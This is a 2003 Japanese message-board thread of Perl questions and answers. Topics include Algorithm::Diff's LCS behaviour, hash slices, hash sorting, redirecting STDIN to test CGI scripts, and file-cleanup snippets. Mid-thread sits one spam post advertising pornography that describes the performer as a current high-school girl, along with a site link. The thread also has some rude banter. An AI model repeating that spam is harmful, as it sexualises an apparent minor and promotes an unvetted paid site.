1 :
デフォルトの名無しさん :
03/08/12 20:50 "The duct tape of the Internet"こと、
Perlについての質問箱です
"There's more than one way to do it"ということで
Perlの奥深さについて皆で語り合い、追求してまいりましょう。
CGIについての質問は板違いです。WEBプログラミング板でどうぞ。
CGIとPerlの区別がつかない人もWEBプログラミング板に行ってください。
(WEBプログラミング板
http://pc2.2ch.net/php/ )
CGIの質問は答えがPerlと全然関係ない話に帰着する場合が多かったりするので
WEBプログラミング板に行って聞いたほうが得ですよ。
このスレでは(CGI以外の)純粋にPerlのみに関係する質問を取り扱っていこうと思います。
過去ログは
>>2-5 あたり
PerlはそろそろOSに組み込んだ方がよいんじゃないでしょうか。 PalmOSの代わりにPerlOSなんてどうでしょう。
>>3 おまえがやってみろ痴呆が
餓鬼がモウソウタレテンジャネーヨ
前スレで diff が何とかかんとかという話があったけど 何がおかしいのかわからない俺はおかしい?
普通分かるだろ。 おかしいのは あ い つ の 脳 味 噌
8 :
デフォルトの名無しさん :03/08/12 23:30
前スレの989です。 書き方が少し分かりにくかったですね。 $hoge="\x9A"; となっているときに $hogeの中身を「\x9A」という文字列に変更したいのです。 つまり表示したときに「\x9A」となっていればいいです。 標準関数でやることではないですか? $hoge=~s/\x9A/\\x9A/;
でた
>>8 $hoge =~ s/(.)/'\\x' . uc unpack 'H2', $1/eg;
>>5 じゃあ俺の話は忘れていいから、Algorithm::Diffのドキュメントにある例をLCS()に掛けてみれば良いよ。
ドキュメントと違う結果になるから。
あと
>>7 、宛て名でも書いとけ。
perl始めたばかりですが、 Webフォームからユーザー名$userを書き込んで actionスクリプトにある$userに反映させるにはどうしたらいいんですか?
肝心なこと書き忘れましたが、 cgiユーザーはwwwです。 で、ユーザー側でquotaを調べたいのですが、 このままでは、ユーザーがwwwなので出来ません。 apacheがSuEXECだといいのでしょうが、、、、 他のやりかたで、cgiをroot権限で動かすこtなんか出来ますか? それで駄目なら、ユーザー名を書き込むことによって root権限のシェルスクリプトが起動するようにとか出来ますか?
あ、 板違いですた! ∧∧ /⌒ヽ)<逝ってくる i三 ∪ 〜三 | (/~∪ 三三 三三 三三
板違い。
鼬がいい
>>14 Algorithm-Diff-1.15.tar.gz落としてきてやってみた。
use Algorithm::Diff;
use strict;
print "--LCS----------------------\n";
my @seq1 = qw(a x b y c z p d q);
my @seq2 = qw(a b c a x b y c z);
print "@seq1\n@seq2\n\n";
my @result = Algorithm::Diff::LCS(\@seq1, \@seq2);
print "@result\n";
print "\n--diff---------------------\n";
@seq1 = qw(a b c e h j l m n p);
@seq2 = qw(b c d e f j k l m r s t);
print "@seq1\n@seq2\n\n";
@result = Algorithm::Diff::diff(\@seq1, \@seq2);
foreach my $hunk (@result) {
print "-" x 10 . "\n";
foreach (@$hunk) {
print join(", ", @$_) . "\n";
}
}
で、結果がこんな感じ。 --LCS---------------------- a x b y c z p d q a b c a x b y c z a x b y c z --diff--------------------- a b c e h j l m n p b c d e f j k l m r s t ---------- -, 0, a ---------- +, 2, d ---------- -, 4, h +, 4, f ---------- +, 6, k ---------- -, 8, n +, 9, r -, 9, p +, 10, s +, 11, t diffの9桁目がドキュメントと逆になってるけど、別に問題はないと思われ。
> --LCS---------------------- > a x b y c z p d q > a b c a x b y c z > > a x b y c z これじゃあ分からないよ。 問題は > a x b y c z の a がどっちの a かということ。 ドキュメントには2つめのaだと書いてあるけど、実際はそうじゃないんだ。
問題はLCSにあるようだ。
質問なのですがcookieによる認証を要求するサイトとかがいろいろとありますが。
こういう場合にIEなどの普通のブラウザなどではそのまま認証を
受ければHTMLファイルを取得することができブラウザ上に表示されるわけですが、
これをPerlで行うにはどうしたらよいのでしょうか?
わたしが考えたのはIEのcookieをPerlでも使えるようになんか設定をいじればいいのでは
ないかと思ったのですが方法がわかりませんし、もっといい方法があるのかもしれませんが
私にはわかりません。
ちなみに環境はWin2K+ActivePerl5.8.0.804で、
HTTP::Liteで取得しています 。
もしわかる方がおられたらお願いします。
>>22 スマンかった。
LCSの方の配列でdiffやったら、確かにお前さんの言う通りの結果になった。
他にも似たようなパターン作ってやってみると、
必ず先頭を一致させて途中に埋め込んだような結果になるな。
確かにドキュメントとは違うが、一般的にはこういう結果だと思う。
俺はこの分野に詳しいわけじゃないから理由はわからないが、
なるべく前の方に一致する点を置くようにしてるんじゃないかな。
綺麗に一続きの部分を取り出したいって気持ちもわからなくはないが。
>>25 それをいれて実行してみたのですがその変数には空文字しか入ってませんでした。
私が機能として欲しいのは
あるURLに対して$http->requestを発行したときに相手側にcookieが送られるか何かして
認証を受けて$http->bodyでHTML本体が取得できるようにしたいのですが
$ENV{'HTTP_COOKIE'}に何か入れなければならないのでしょうか?
あと書き忘れましたがソースです
$http->reset();
$http->add_req_header("","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.0.3705)");
$ret = $http->request(対象URL);
if($ret ne "200"){
### エラー時の処理
}
$list_body = $http->body();
お願いします。
>>26 なんか勘違いしてた。
LCSって連続した共通部分が最も長いパターンを導出するのかと思ってたんだけど違うんだな。
ttp://lecture.ecc.u-tokyo.ac.jp/~yamaguch/pub/cp2-9/LCS.html a b x b y c z p d q ←2番目にbを追加してみた
a b c a x b y c z
で返ってくるのが
x b y c zじゃdiffとして役に立たないし。
というわけで、Algorithm::Diff::LCSはおかしくない。
diffの結果一続きになってくれない理由は相変わらず不明だが、
そうしなければいけないわけでもないし。
とりあえずドキュメントが間違い&例が悪いに一票。
>>29 これでちょっと調べてみます。
ありがとうございます。
老婆心で忠告だが。。。 WebProg板で同じ質問すると、 「散々がいしゅつ」 「過去ログ見れ」 「ググれ!」 って言われるからな。
>>31-32 あろがとうございます。向こうの板の過去ログも調べてみます。
最近のム板は初心者に優しくなったな。
Perl実行中に STDIN にデータをつっこんで、 取り出したいんですがそんなことできますでしょうか? イメージとしてはこんな感じなのですが↓ print STDIN "unko"; print <STDIN>; # unkoを表示
STDIN に突っ込んだものは、 STDOUTから出てくるのが筋じゃないか。 print STDIN "unko"; print <STDOUT>; できるか、ぼけ。
print <STDIN>; print "abo-n\n"; print <STDIN>; イメージとしてはこんな感じでないのかな?
↓ a.pl
print <STDIN>;
↑ a.pl
# echo unko | perl a.pl
↓実行結果
unko
実行可能な例としてこんな感じなんですが、
このパイプで標準入力にデータをつっこむ作業をperlのなかでやりたいのです。
>>36 できねえのかよ!こんちくしょう!うわーん!
>>37 白いカーソルが点滅してうんともすんとも言わずにとまります。
自分でつっこんで自分でよんで。 意味あんのか?
$ tukkomu.pl | nannkasuru.pl でいいんでないの?
>>40 CGIの軽い動作テストをするためCGI環境エミュレータがほしいのです
require "cgiemu.pl"; するとCGI用の環境変数とか設定されてCGIの環境ができる感じ
QUERY_STRINGなどを得るのにいちいちブラウザからアクセスしないといけないのが面倒なもんで
$ENVとかのデータは適当にデータを定義すれば用意出来るけど、
POST(標準入力)のデータは用意できないので困ってたんですよ
標準出力のためにコマンドラインからいちいちパイプするのは面倒だし
requireだけで済ませたいし。
でも、大した用途でもないからあきらめます
うわああぁあぁぁ!あやしい!あやしいけどこんな方法で自己解決 これでPOSTメソッドのテストができるよ。ありがとう! *STDIN = *DATA; print <STDIN>; __END__ data1=aaa&data2=bbb&data3=ccc
44 :
デフォルトの名無しさん :03/08/14 17:09
エラー処理はdieよりCarpモジュール使ったほうがいいのですか?
あぼーん
46 :
デフォルトの名無しさん :03/08/14 18:55
PerlでWindowsのスクリーンセーバーを作りたいのですが。
そうですか。
49 :
デフォルトの名無しさん :03/08/14 20:02
PerlでWindowsのスクリーンセーバーを作りたいのですが。 どなたか作り方を教えていただけないでしょうか? 絵がぐるぐる動くようなものではなく、あるBBSのデータを HTTPでGETしてきて、テキスト表示するようなものを 作りたいと思っております。
そうですか。がんばってください
PerlからWin32APIを呼べるんならできると思われ。
>>26 俺のほうこそLCS()に掛けるだけですぐ分かるみたいな書き方をして悪かったよ。
>>28 そうか、LCSのLが「最長」だから、てっきり連続しているものと思ってたが、細切れでもいいんだな。
例が悪いといえば、ドキュメントのこの部分は例を間違えているな。
| a.x.b.y.c.z.p.d.q
| a.b.c.a.x.b.y.c.z
|
| A naive approach might start by matching up the C<a> and C<b> that
| appear at the beginning of each sequence, like this:
|
| a.x.b.y.c.........z.p.d.q
| a...b...c.a.b.y.c.z
単純な方法でやると結果がどうなるかという例だけど、下の例(処理結果)で x が抜けている。
もし x があれば、この方法でもちゃんとLCSが見つかりそうだ(笑。
a...........x.b.y.c.z.p.d.q
a...b...c.a.x.b.y.c.z
----------
書き換え自由な板に利用しようかと思っていたが、書き込みの差分を求めるにはちょっと使いにくそうだ。
>>39 カーソルが出たままで止まっているのは、キーボードからの入力を待ってるんだよ。
標準入力とは具体的にはキーボードだから。
キーボードから何か打ち込んでCtrl+Zで入力できるよ。
----------
標準入力を実行中に変える方法は思いつかないけど、それ以前、つまり実行するときに
perl a.pl <post.txt
とすればテキストファイルの中身を標準入力として扱える。
もう1つ、やっぱり標準入力を実行中に変えるわけじゃないけど、PerlスクリプトからPerlスクリプトを実行してもできるんじゃないかな?
つまり、echo unko|perl a.pl をPerlスクリプトの中で実行するということ。
使ったことが無いんで、すぐにサンプルは思いつかないけど、Perlではパイプを使って好きなコマンドを実行できるらしい。
って
>>43 で解決してるのか(笑。
56 :
デフォルトの名無しさん :03/08/15 10:16
$sth->bind_columns( \( @row{ @{$sth->{NAME_lc} } } )); while ($sth->fetch) { print "$row{region}: $row{sales}\n"; } Perlの小技でみたのですが、どうしてこれで、 $row{region} に値が入るのですか。@row{ ... }の部分のしくみがわからないです。。。 どなたか解説してくだされ。。。 (動かすのには成功しているのですが、@row{ ... }の部分をどう解釈するのがわからない。。。。)
>>56 配列スライスでググるか
Data::Dump::dumpで中身書き出せ
>>56 @row{...}は%rowの一部分だと思う。
ハッシュの一部だけを扱いたいときにそう書くことができるんだ。
さらに、これは左辺値としても使える。
例えば、一度に複数の値をハッシュに入れたいときはこうできる。
@hash{a,b,c} = qw(A B C);
(確認するにはこれを実行)
print "\$hash{$_}:$_\n" foreach keys %hash;
>>58 確認用のコードが違ってた(笑。
これね。
print "\$hash{$_}:$hash{$_}\n" foreach keys %hash;
(⌒V⌒) │ ^ ^ │<これからも僕を応援して下さいね(^^)。 ⊂| |つ (_)(_) 山崎パン
質問です、誰かお願いします。 %aa=("hanako","12","tarou","20","ichirou","5"); となっているとします。 キーが名前で値が年齢なんですが、 年齢でソートし表示させる場合、 ichirou 5 hanako 12 tarou 20 とするにはどうすればいいのですか? どうしてもうまくいかないのです。お願いします。
>>61 perldoc perlfunc
でsortを検索してください
そしたら↓みたいなのがのってます
#!/usr/bin/perl
%aa=("hanako","12","tarou","20","ichirou","5");
my @ageAV = sort { $age{$a}<=> $age{$b}} keys %aa;
foreach $i (reverse @ageAV){
print "$i $aa{$i}\n";
}
このスレには馬鹿しかこないから今度から
↓出来で聞いてね
Perl コーディング初心者質問コーナー Part27
http://pc2.2ch.net/test/read.cgi/php/1060808783/
63 :
デフォルトの名無しさん :03/08/15 18:04
>>58 なるほど。書いていただいたサンプルと、自分であれこれ試してみたらなんとなく
理解できたような気はします。ありがとうございました。
>>61 %aa=(
"hanako" => 12,
"tarou" => 20,
"ichirou" => 5
);
print join "\n" =>
map { "$_ $aa{$_}" }
sort { $aa{$a} <=> $aa{$b} }
keys %aa;
65 :
デフォルトの名無しさん :03/08/16 14:30
<table><tr><td class="iran">いらない部分</td><td class="iru">いる部分</td></tr></table> ↑こんな構造の30KBほどのHTML(複数行)から20KBほどの文章を切り出すのに $/ = undef open(HTML, "tmp.html"); $_ = <HTML>; close(HTML); if(/<td class="iru">([\w\W]+?)<\/td>/im){ print $1; } とやると Error:Runtime Exception と出てしまいます。小さいファイルだとエラーにならないのですが、 これは正規表現で大きな文字列をマッチさせてはいけないということなんでしょうか。 大きなファイルの特定の部分から特定の部分まで読み込む方法があればそれでいいんですが 自分の頭ではこんな方法しか思いつきませんでした。 Active Perl 5.005_03 (jperl)を使っています。
66 :
デフォルトの名無しさん :03/08/16 16:56
>>65 /<td class="iru">(.+)<\/td>/i
>>65 $/ = undef の後ろに ; が無いのは typo だとして、
ActivePerl Build522 on Win98SE で試したけど、
1MB のファイルでやっても無事終了。
>>66 それ等価じゃないよ。[\w\W] が気持ち悪いなら
m|<td class="iru">(.+?)</td>|is
>>67 自分の所だけですか…_| ̄|○
数十KB程度でだめになるなんてどう考えてもおかしいとは
思っていましたが(汗)どうしてだろう。OS再起動してやり直してみます。
相変わらずエラーでますが jperlをやめてperlでやったらOKでした(汗)
71 :
デフォルトの名無しさん :03/08/16 20:07
正規表現で空データにマッチさせるのはどうすればいいんだろ? $i=~// だとできんのだが
/^$/
length($i)==0
74 :
デフォルトの名無しさん :03/08/16 20:21
>>72 キタyo--------
そんな風に書くとはシランカッタ
空文字列かどうかの判断に正規表現を使うおもしろい人。
$str eq ""
/^$/は空文字列にマッチするための正規表現じゃない。 $ perl -e 'print "\n" =~ /^$/, "\n"' 1
>77 /\A\z/ ならOK?
79 :
デフォルトの名無しさん :03/08/17 02:05
system("find $dat/ -type f -atime +$deldatdays -exec rm {} \\;"); XREA鯖でexecが使えないので代わりのコマンドみたいなのないでしょうか?
>>79 XREAではFile::Find は使えないのか?
79の質問どっかで見た予感sage つか、ディレクトリ開いて自前で処理すればいいと思われ。
denver% find2perl '$dat/' -type f -atime +'$deldatdays' -exec rm {} \; [~] #!/usr/bin/perl eval 'exec /usr/bin/perl -S $0 ${1+"$@"}' if $running_under_some_shell; require "find.pl"; # Traverse desired filesystems &find('$dat/'); exit; sub wanted { (($dev,$ino,$mode,$nlink,$uid,$gid) = lstat($_)) && -f _ && (int(-A _) > $deldatdays) && (unlink($_) || warn "$name: $!\n"); }
85 :
デフォルトの名無しさん :03/08/17 20:28
use vars qw/$scalar @array %hash/;とour ( $scalar , @array , %hash );は同じと考えてOKですか?
$input = <STDIN>; としてキーボードから入力を得ているのですが、 キーボードからの入力がそのままコンソール上に表示されてしまいます。 これではパスワード等の入力に支障があるので入力した文字を * で表示するようにしたいのですが、 どうしたらよいでしょうか?
>>86 それを行うには標準入出力を制御する必要あり。もっとも、簡単な方法として
ANSIエスケープシーケンスを使って、「非表示」にする方法があるけど、
これだと、画面のハードコピー取られるとハードコピー上には「非表示」に
したはずの文字データが入ってしまうという罠がある
プラットフォーム書いてないからこれ以上のアドバイスがしようがない…。
windows 系なら Win::Console 使えば、前述の標準入出力の制御ができる。
>>87 プラットフォームによって別のコードになってしまうんですか。
そのまま別のプラットフォームへ持っていったりして使う予定だったので、
プラットフォーム依存になってしまうのは困ります。
何か、Perlでは無理そうなので諦める事にします。
ありがとうございました。
>>85 ourの方は変数そのものはグローバルだけど、可視性はブロックスコープになる。
#!perl
use strict 'vars';
$our = 1; # compile error
$vars = 1; # compile error
{
our $our;
use vars qw($vars);
$our = 1; # ok
$vars = 1; # ok
}
$our = 1; # compile error
$vars = 1; # ok
90 :
デフォルトの名無しさん :03/08/18 01:44
Perlでキーボードやマウスの操作を制御したいのですが そのようなことは可能でしょうか?
91 :
デフォルトの名無しさん :03/08/18 01:46
マウスに駆動系付いてれば操作できるってことですか? キーボードはピアノの自動演奏みたい動くんですかね?
環境書くの忘れてました。Windowsです。 調べてみたらWin32::Consoleでできるみたいですね。 しかしPerlは何でもできますね。失礼しました。
95 :
デフォルトの名無しさん :03/08/18 08:31
>>89 解りました。どうもありがとうございます。
>>95 指定したフォルダ内を全削除するperlコードなら前作ったの(↓)がある。
あとはこれに削除条件でもつけれ。
sub rm{} の中の名前無し関数 sub{} の中身だけ直せばできるはず。
rm("./削除するフォルダ"); # 使用例
sub rm{
dirwalk( $_[0], sub{ (-d $_)?rmdir $_:unlink $_;} );
}
sub dirwalk {
my $path = $_[0];
my $func = $_[1];
my $file;
opendir( DIRWALK, $path ) or ( warn "Can't open $path.\n" and return 0 );
readdir( DIRWALK ); # . を破棄
readdir( DIRWALK ); # ..を破棄
foreach $file ( readdir( DIRWALK ) ){
&dirwalk( "$path/$file", $func ) if( -d "$path/$file" );
&$func($_="$path/$file");
}
closedir( DIRWALK );
}
>>82 こんなところに削除条件のコードがあったなんて。
多分、↓こんな感じかな?
File::Find があれば dirwalkなんて関数はいらないので置き換えてくれ
&sakujo( "/どこか", 5 );
sub sakujo{
$deldatdays = $_[1];
dirwalk( $_[0], sub{
(($dev,$ino,$mode,$nlink,$uid,$gid) = lstat($_)) &&
-f $_ &&
(int(-A $_) > $deldatdays) &&
(unlink($_) || warn "$name: $!\n");
}
);
}
sub dirwalk {
:
:
なんかWin32::Consoleではキーボードやマウスの制御までは
できないみたいですねぇ・・・
>>99 87は私じゃないですよー
むしろ>90=>86っぽい
∧ ∧___ ハニャ〜ン♪ /(*゚ー゚) /\ /| ̄∪∪ ̄|\/ | 汎用C |/  ̄ ̄ ̄ ̄ __∧ ∧ アヒャー オレモツカエヨナ!! /\ (*゚∀゚)\ \/| ̄∪∪ ̄|\ \| 字通Perl| ;;;;;;;,,,,  ̄ ̄ ̄ ̄,,;;;;;;;; ;;;;;;;;;;;;;;;;;'''
>>100 マウスはないっぽいね。
大人しくWin32::API使うとか。
まぁAPIリファとかないときついと思うケド。
104 :
デフォルトの名無しさん :03/08/20 16:33
perlの日本語対応について教えていただきたいんですけど perl5.005_03へパッチ適用してjperlで使ってたんですが それ以降の日本語対応ってどのようになってるんでしょうか? perl5.8.0とか、いままでのperlプログラムがそのまま使えるんですか?
教えて下さい。 M君のサーバーにアクセスしてきた人の中で、 K君のファイルにアクセスした人を、 アクセスログ解析して グラフなり表なりになるものをperlで作るやりかたを教えて下さい。 お願い致します。
( ノ∀`)アチャー
110 :
デフォルトの名無しさん :03/08/20 20:38
このスレみてて思うのですが、jperlを使う利点って何でしょうか? Perlだけで事足りると思うのですが、、、
前は足りなかったから。
112 :
デフォルトの名無しさん :03/08/20 20:54
かなりの美少女が登場します。丸顔で笑顔が非常にそそります。
制服からしても現役女子高生なのでしょう.。
ペニスのしゃぶり方も非常にいやらしく、慣れています。
ビラビラは大きめでクリトリスは綺麗に剥けており丸見え。
出し惜しみのない本当に良い作品です。
フィニッシュは口内発射でまったく羨ましい限り。
無料画像を観てちょ。
http://members.j-girlmovie.com/main.html
>>103 そうですかー。ちょっとWin32::API勉強してみます。
>>109 ありがとう
ほしかった情報そのものです。
115 :
デフォルトの名無しさん :03/08/22 02:47
23 名前:名無しさん米国がえり [] 投稿日:03/06/24 22:32
JDK1.5入手してみましたが、すごいです。
多重継承、ASE(新国防省最強暗号)サポートはもちろんのこと
RAWソケットの実装なども考えられてるらしいです。
Disassemble対策もとられさらにC#に対抗して
Java/Fortran Java/Python(これは前からあるが) Java/Perl(JPLs)
Java/C などが発表されるそうです。
噂ですがSUNではないどこかの企業(赤X)がJAVA C#なるものを開発してるようです
簡単に言うと JAVA2C# ですね2005年が楽しみです。
http://ex3.2ch.net/test/read.cgi/shar/1054887959/
シャア専用ではそんな話をしているのか。
やっぱ3倍はやいんか?
【プログラミング】Jet Propulsion Laboratories / Java Perl Lingo ・Perl使いの第一人者Larry Wallが、「何でもかんでもJava」の 嵐が吹き荒れていた、98年頃突如Java熱病に冒され、PerlとJavaを くっつけるという無謀な試みに情熱を燃やした時期のその燃えかすのこと。
Perlの変数の$をと間違えまくって大変なんですけど
$を「 」と間違えるの? それは頭おかしいんじゃないか?
122 :
デフォルトの名無しさん :03/08/24 13:55
そういえばJPLはどうなったんでしょうかねぇ。
Perlのsleepって秒単位ですけど、もっと細かい単位でウェイトをかけたい 場合はどうすればいいのでしょうか?
126 :
デフォルトの名無しさん :03/08/25 01:46
perlのqr//はどんな時に使うのでしょうか。 正規表現の事前コンパイル…ということだそうですが、よく解りません。 qr/パターン/とやると、正規表現がどう変わるのでしょうか?
Perlって構文汚い割にはインタプリタのソースは割りと綺麗ですね。
128 :
デフォルトの名無しさん :03/08/25 05:32
テキストファイルの特定範囲(aaaaaからzzzzzという文字列まで等)内で、 特定文字列を含む行の次の行を抜き出す事は可能ですか? もし出来るなら後は自分で調べますので出来るかどうか教えてください。
>>128 <begin> 〜 <end>
の間隔が短ければ正規表現で抜き取ればいいし、
長くなるなら<begin>と<end>の位置を検索して位置を特定してから
必要バイト数だけ読み込んで "\r\n" で splice して(途中略)
すればいいと思われ。
130 :
デフォルトの名無しさん :03/08/25 07:00
131 :
デフォルトの名無しさん :03/08/25 12:40
MS-DOSでPerlを実行させる方法を教えてくださ〜い
133 :
デフォルトの名無しさん :03/08/25 23:29
( ゚д゚)ポカーン
Perlコーディング初心者スレでスレ違いって言われたんで聞かせてくらさい。 新しいマシンにRedHat9入れたら、Perl5.8.0が入ってきました。 ところが、5.8からNDBM_Fileがないので、前に作っていたデータベースが 使えない。5.6.1のを持ってきたけど(NDBM_File.pm, NDBM_File.bs, NDBM_File.so)、エラー出る。requireしてるXLoaderとかの変更があるみたい。 元のマシンでNDBMからSDBMに変換して新マシンにコピーして使うか、 新マシンに5.6.1入れるか、どっちがいいと思う? いろいろググったが、情報ないんで聞かせてくらはい。
解決しますた。こめんなさい。
( ゚д゚)ポカーン
1番不明なのがID表示機能 どうやってやるんだすか?
何のID
$$
$_
質問ー uncode::map のモジュールをwin2000に入れようと思って CPANから落として map.pm と mapフォルダを lib/unicode に突っ込んだんんだけど、実行すると can't locate loadable object for module Unicode::Map in @INC ってエラー出ちゃう。どうもmapフォルダの位置がわかってないっぽい。 makeで入れてないことが原因だと思うんだけど、winでそういう makeが必要なモジュールはどうやっていれるのが正解なの? もしくは、どうやったらちゃんと動くように出来るんだろう。 トニー助けて!
自己完結。ppmって便利だね・・・・・・・・・・・・・・・・・
>>145 CPANから落とすならインストールする前に付属のドキュメントを嫁。
あんな簡単な英語を読めないならppmを使いなさいってこった。
148 :
デフォルトの名無しさん :03/08/30 16:35
そしてアホがあっちに質問しないようにこっちもage!
>>145 それはパスの問題では?
ちゃんと【use lib〜】で指定しているか?
そんな初歩的なこともわかんないんじゃこの先厳しいぞ
151 :
デフォルトの名無しさん :03/08/30 23:27
誰かWin32::OLEを使ってExcelファイルの読み書きをしたことがある人いますか?
あるんじゃないでしょうか。 ↓次の方どうぞー
いるんじゃないでしょうか。 ↓次の方どうぞー
Perl使ってまでExel触りたかねーんじゃないでしょうか。 ↓次の方どぞー
>>151 単にExcelのデータを読み書きしたいなら
Spreadsheet::ParseExcel、Spreadsheet::WriteExcelがあるよ。
>>154 「Exel」なんかさわりたかないねぇ。
「E・x・c・e・l」だから(w
器が小さいね
ほんとだよね
154=157=158
>>159 代入ですか。
つまり「同一人物ということにしたい」という意思の表れなわけですね:)
>>156 「E・x・c・e・l」なんかさわりたかないねぇ。
「Microsoft® Excel」だから(w
154=157=158=160=161が無駄に必死なスレはこちらでよろしかったでしょうか?
E・x・c・e・lって何?
もう粘着ヴァカはほっとけよ。
Exelって何?
相変わらずの糞スレっぷり
仕事でSpreadsheet::ParseExcelなら使ったことあるよ。 今までxlsで管理してたデータを新しく作るシステムにインポートしたいとかいって。 あと、運用側がPCの知識あまりないからxlsでデータ管理できるようにして欲しい って言われたときも同じことやったな。 結構重かったので、もう使いたくねーな。
Spreadsheet::ParseExcelが悪いというよりも、 perlでそんなもん読み書きするのがどうかと思った。
170 :
デフォルトの名無しさん :03/09/01 20:35
以前ほかのところに誤爆して無視されてしまったので、ここで聞いてみようかな、と思うのですが、 UNIX や Linux で perl から ssh を呼び出してパスワードも自動で入力して リモートマシンをコントロールしたいのですが、単に open で ssh を呼び出したりすると passphrase などを聞かれるところでどうしてもつまづいてしまいます。 パスフレーズも含めて全部自動で行いたいのですが、何かよい方法ないでしょうか。 ちなみにローカルマシン起動と同時に無人でやりたいので、ssh-agent も使えません。 rsh はちょっとリモート側の管理上の都合でできません。うーむ。誰かお願い!
172 :
デフォルトの名無しさん :03/09/02 12:19
localtimeの返り値が変なんですけど、回避する方法はあるのでしょうか? 11/30に一日足すと11/31が返ってくる気がするのですが・・・ @time=localtime (1072753200); print"$time[4]-$time[3]\n"; @time=localtime (1072753200+24*60*60); print"$time[4]-$time[3]\n"; 結果 11-30 11-31
12月は31日まであるからなぁ
>>167 ごめんなさい。僕がバカでした。
つーか日も0から始めろ!>LarryWall
>174 悪いのはThompsonかRitchieあたりではないかと。
>>169 そーですね。すまん>Larry
でもマルチプラットフォーム考えたらlocaltimeを生で使わず
自前のルーチン持つのが正解だったのでは、と思う。
177 :
デフォルトの名無しさん :03/09/02 12:55
さっきから誤爆しまくっているこいつはなんなんだ?
どうでもいいけど、レス番号ずれてるよ>localtimeの人
ソースの差分を取るソフトを知りませんでしょうか
>>179 diffがいいと思う。patchと組み合わせれば最強。
ありがとうございます。 早速探してみます。
182 :
デフォルトの名無しさん :03/09/03 17:45
Spreadsheet::ParseExcel使うならWin32::OLE使ったほうがまし。
>>182 Linux上で動かすことになってたのよ。
こんいちわー。 perlのプロセスID($$)は、どのような基準で作られているのでしょうか?? また、時間を経た一度と一度の起動(つまり直接関係ない別のプロセス)を、 厳格に「別だ」と認識する方法はありまつかでしょうか? $$をファイルに記録しようと思ったのですが、Aプロセス終了後に再度プログラムを実行すると、 まったく同じプロセスナンバーが発行されまつた m(__)m
perlに限らず、プロセスIDはOSが割り当てる 「その時に存在するプロセス達の中で一意」であるだけ。 $^Tにそのプロセスを起動した時間が入ってるのでそれを使えばそれなりに識別できるが… 厳格に識別するには外部ファイルを利用するしかないんじゃないかな。
186 :
デフォルトの名無しさん :03/09/05 11:21
PerlerのみなさんはVBプログラマと同じように、 糞コードに遭遇する確立が高いと思われますが、 そういったときはどうしていますか? こういう作業がプログラマとして一番消耗すると思われますが。 Perlなりのリファクタリングのテクニックがあれば教えてください。
>>185 遅くなりましたー。ありがとうございます。
なんか厳格には無理そうなので、複数の要素を使用し、
「極めて別っぽい」ってのを出す方法にしたいと思います。
>>186 糞コードは1から作りなおしまつ。
めんどうな時はそのまま糞コード使いまつ。
まぁ、ナニをするプログラムってのにもよるけど。。
Perlで大きなプログラム自体あまり組まないね。 一日平均10個ぐらいの使い捨てスクリプトと、 100個ぐらいのワンライナー書いてる。
多いなあ。 俺は使い捨てはあんまり作らん。 ワンライナーは一日10個ぐらいかなあ。
ワンライナーってなんですか?
>>190 one liner 1行スクリプトの事
perlに慣れてると、パイプで繋げたり、sed/awk 使うよりも楽な事が多い
何命令ぐらいまで1ライナーで書いてます? 俺はログのちょっとしたソート→ファイルに書き戻しぐらいしかやったことが無いから10数命令程度かな・・・ その人にとって改行やインデントしなくてもすぐに組み立てて書けるまでが1ライナーですかね?w
>>192 10数命令?
ファイルに書くのにopen使ったりしてんの?
$ cat log.txt | perl -e 'push(@_,<>);print sort @_;' > sorted.txt
とかやらない?DOSプロンプトでできたかどうか忘れたけど
一々cat通すの癖か? $ perl -e "print sort <>" < log.txt >sorted.txt
>>194 あー。くせっていうか、ワンライナー書く時って大抵
$ cat log.txt
とした後に何か処理したいなあ思うわけで、
そうすると C-p(履歴を出す) してから続けて書いてくのでそうなっちゃうんです。
>>194 193じゃないが、俺は癖だ
< ってどうも好きじゃ無いんだよな
cat から始めた方が左から右に流れてく感じになるし
場合によっては 別のコマンドの出力からワンライナに繋ぐ事もあるしで
いや、非効率なのは分かってるんだが
Perlでワンライナーのスクリプトって便利そうですね。
>cat から始めた方が左から右に流れてく感じになるし $ < log.txt perl -e "print sort <>" >sorted.txt こうすりゃ左から右だぜ?w
ぜんぜんきもくないけどなあ。
199は鏡でも見たんだろう
納得。
納豆って結構健康的だよね。
204 :
デフォルトの名無しさん :03/09/07 00:21
毎日Win32::APIモジュールで遊ぶ毎日です。
205 :
デフォルトの名無しさん :03/09/07 00:38
改行コードの削除は s/\x0d?\x0a// が最強ですか?
ラリーはまだホンダのアコードに乗っているんですか?
209 :
デフォルトの名無しさん :03/09/09 16:48
Win32::RASEモジュールを使ってPPP接続の処理を書いているんですけど、 リダイヤル処理は自前で実装しなきゃ駄目でしょうか?
210 :
デフォルトの名無しさん :03/09/10 03:33
Perlで書かれたPerlインタプリタってのはないんでしょうか? LISPでよく見かけるあれです。
eval {}?
>>210 ない。
あるとしても、パーサならともかく、インタプリタとなると遅すぎて使い物にならんだろう。
evalにぶちこみゃいいじゃん
>>186 仕様書があれば作り直しですが、大抵はそんなものはないので、結構よくやります。
一番問題になることが多いのがグローバル変数の濫用です。
この場合「メソッドの抽出」をやることが多いです。
1. 適当な単位でくくり出す(すぐ下にコピペ)
2. くくり出した中にある変数を全部渡すようにして、呼び出し元は関数呼び出しに、
コピペしたやつはsubで囲んで引数処理。
3. 引数にしたやつがどこで宣言されているかをgrepとかで確認、問題がなければ宣言を
subのすぐ上に移動させたり、引数から削ったりする。寿命の長い変数はクラスとかハッシュに
入れて、それを引数で渡すようにする。
というような感じです。臨機応変に。
myを知らない人が非常に多い。
そして「Perlはローカル変数が使えない糞言語」とか逝ってるんですよ。小一時間
問い詰めたいもんです。
215 :
デフォルトの名無しさん :03/09/11 22:48
>>214 仕事で書くコードぐらい、use strictを入れて欲しいですな。
つか、CGI屋はまともなプログラミング作法というものを知らない。
パフォーマンスを考慮した作法破りではなくて、ただの無作法コーディング。
彼らが糞コードを書き、そしてそれを参考にして新米CGI屋が
また糞コードを生み出すという悪循環。どこかで断ち切って欲しいです。
>>215 CGI屋でstrictに書いてますが? 最も誰も来ないCGI屋ですが。
KENTを見る⇒KENTの本を買う⇒KENTのまねをする⇒あぼーん
>>214 小一時間といわず、36時間くらい問い詰めてやってくれ。
くだらない質問なんですが、 2桁の数字を1桁ずつ2つの変数に代入したいんです。 例えば12が元データだとしたら $aに1 $bに2 という感じです。 方法をお教えいただけないでしょうか。
$i = 12; $j = int($i / 10); $k = $i % 10;
>>218 TMTOWTDIってことで
$org=123;
